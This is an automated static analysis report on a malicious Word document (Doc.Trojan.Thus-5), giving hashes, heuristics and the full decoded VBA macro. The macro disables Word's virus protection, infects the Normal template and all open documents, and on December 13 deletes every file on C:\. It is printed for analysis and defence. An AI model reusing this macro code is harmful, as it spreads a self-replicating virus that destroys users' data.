Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18043e4da58894d9…

MALICIOUS

Office (OLE)

47.0 KB Created: 2010-12-23 18:46:00 Authoring application: Microsoft Word 11.6.1 First seen: 2017-01-05
MD5: 3a91582c2b070262ebfe225250bfb84b SHA-1: 43bb7aa8ac1d7f850be6d8590aa8d5b8c91dab2f SHA-256: 18043e4da58894d929aa18c0ed33ab558d2a7f6993b81c914d2115a87c18b13f
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. The macro attempts to disable virus protection and copy itself to the Normal template, indicating an attempt to establish persistence and ensure execution. The ClamAV detection 'Doc.Trojan.Thus-5' strongly suggests a known malicious document type, likely a downloader.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() 'Thus_001'     On Error Resume Next     Application.Options.VirusProtection = False     If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(2, 1) <> "'Thus_001'" Then     NormalTemplate.VBProject.VBComponents.Item(1).c …

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2349 bytes
SHA-256: 4d6ffbf1ce6d9ebed42ab7a42f75864de3ec72838ccae692fcbd5aafa240f247
Detection
ClamAV: Doc.Trojan.Thus-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).codemodule _
    .deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .codemodule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).codemodule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .codemodule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).codemodule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .codemodule.deletelines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).codemodule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .codemodule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).codemodule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).codemodule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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